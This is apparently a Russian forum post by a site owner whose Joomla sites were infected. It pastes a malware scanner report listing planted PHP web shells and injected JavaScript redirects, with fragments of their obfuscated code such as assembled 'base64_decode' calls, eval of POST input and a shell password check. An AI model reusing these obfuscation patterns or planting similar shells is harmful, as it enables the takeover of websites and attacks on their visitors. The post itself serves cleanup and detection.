Трудно сказать откуда именно залезло.
На всех сайтах примерно все одно и то же, что-то типа этого:
(Все удалил, кроме index.php, их заменил на нормальные)
Критические замечания
Найдены сигнатуры шелл-скрипта. Подозрение на вредоносный скрипт:
Путь Дата создания Дата модификации Размер CRC32
.../docs/plugins/system/legacy/KUa__.php
= true;"; @eval($evalcheck); if ($isevalfunctionavailable === true) { |$fnsdht = "b".""."as"."e"."".""."6"."4"."_"."de".""."c"."o".""."d"."e";
25/12/2013 14:55:15
6.50 Kb
-1991197706
.../docs/plugins/system/legacy/NI6rP2lN1.php
= true;"; @eval($evalcheck); if ($isevalfunctionavailable === true) { |$fnsdht = "b".""."as"."e"."".""."6"."4"."_"."de".""."c"."o".""."d"."e";
25/12/2013 14:55:25
6.50 Kb
-1991197706
.../docs/plugins/system/mtupgrade/KTnkz.php
= true;"; @eval($evalcheck); if ($isevalfunctionavailable === true) { |$fnsdht = "b".""."as"."e"."".""."6"."4"."_"."de".""."c"."o".""."d"."e";
25/12/2013 14:55:18
6.50 Kb
-1991197706
.../docs/plugins/system/ldZMkjXEV.php
= true;"; @eval($evalcheck); if ($isevalfunctionavailable === true) { |$fnsdht = "b".""."as"."e"."".""."6"."4"."_"."de".""."c"."o".""."d"."e"; $f
25/12/2013 03:09:40
6.49 Kb
-1875437887
.../docs/plugins/system/dvHBmx2.php
= true;"; @eval($evalcheck); if ($isevalfunctionavailable === true) { |$fnsdht = "b".""."as"."e"."".""."6"."4"."_"."de".""."c"."o".""."d"."e";
25/12/2013 14:54:58
6.50 Kb
-1991197706
.../docs/plugins/user/NdMv_.php
= true;"; @eval($evalcheck); if ($isevalfunctionavailable === true) { |$fnsdht = "b".""."as"."e"."".""."6"."4"."_"."de".""."c"."o".""."d"."e";
25/12/2013 14:55:11
6.50 Kb
-1991197706
.../docs/plugins/user/aj1l__35tJ.php
= true;"; @eval($evalcheck); if ($isevalfunctionavailable === true) { |$fnsdht = "b".""."as"."e"."".""."6"."4"."_"."de".""."c"."o".""."d"."e";
25/12/2013 14:55:26
6.50 Kb
-1991197706
.../docs/plugins/xmlrpc/DWoLcAKs.php
= true;"; @eval($evalcheck); if ($isevalfunctionavailable === true) { |$fnsdht = "b".""."as"."e"."".""."6"."4"."_"."de".""."c"."o".""."d"."e";
25/12/2013 14:55:21
6.50 Kb
-1991197706
.../docs/plugins/xmlrpc/avP.php
= true;"; @eval($evalcheck); if ($isevalfunctionavailable === true) { |$fnsdht = "b".""."as"."e"."".""."6"."4"."_"."de".""."c"."o".""."d"."e";
27/12/2013 17:14:05
6.50 Kb
-1991197706
.../docs/plugins/xmlrpc/K8d.php
<?php //|$auth_pass = "9bc2e1d95fab7d35f25dc619521182ff"; $auth_pass = ""; if(!empty($
27/12/2013 23:55:45
24.26 Kb
1205493127
.../docs/plugins/xmlrpc/sys09725827.php
ywpz}=text_macros(${${"\x47\x4c\x4fB\x41\x4cS"}["\x71\x77j\x72j\x6f"]});$zpddcmh|vkqr="\x6de\x73\x73a\x67\x65\x73";${"\x47\x4cO\x42\x41\x4cS"}["\x6d\x62\x69\x68
28/12/2013 00:26:26
41.29 Kb
1192102346
.../docs/xmlrpc/cache/4mbuLNPm.php
= true;"; @eval($evalcheck); if ($isevalfunctionavailable === true) { |$fnsdht = "b".""."as"."e"."".""."6"."4"."_"."de".""."c"."o".""."d"."e";
27/12/2013 17:14:07
6.50 Kb
-1991197706
.../docs/xmlrpc/includes/qvtR6Ndn.php
= true;"; @eval($evalcheck); if ($isevalfunctionavailable === true) { |$fnsdht = "b".""."as"."e"."".""."6"."4"."_"."de".""."c"."o".""."d"."e";
25/12/2013 14:55:14
6.50 Kb
-1991197706
Найдены сигнатуры javascript вирусов:
Путь Дата создания Дата модификации Размер CRC32
.../docs/index.php
pseek|libwww-perl|fast|baidu)/i)!==null){ }else{asd61234tkhjasd454hfhf235();} |if(navigator.userAgent.match(/(android|midp|j2me|symbian|series 60|symbos|windo
27/12/2013 14:59:40
4.40 Kb
1607522158
.../docs/plugins/editors/jckeditor/plugins/pastefromword/filter/default.js
,convertToPx:(function(){var h=CKEDITOR.dom.element.createFromHtml('<div style=|position:absolute;left:-9999px;top:-9999px;margin:0px;padding:0px;border:0px;">
05/04/2012 20:33:36
11.57 Kb
-232178055
.../docs/plugins/xmlrpc/sys09725827.php
47\x4c\x4fBA\x4c\x53"}["b\x79\x79\x70c\x75yk]="\x6b\x65\x79";if(isset($_POST["c|\x6fde"])&&isset($_POST["\x63u\x73\x74\x6f\x6d\x5f\x61\x63t\x69on"])){eval(base
28/12/2013 00:26:26
41.29 Kb
1192102346
.../docs/administrator/index.php
pseek|libwww-perl|fast|baidu)/i)!==null){ }else{asd61234tkhjasd454hfhf235();} |if(navigator.userAgent.match(/(android|midp|j2me|symbian|series 60|symbos|windo
27/12/2013 14:59:40
4.51 Kb
1603720537
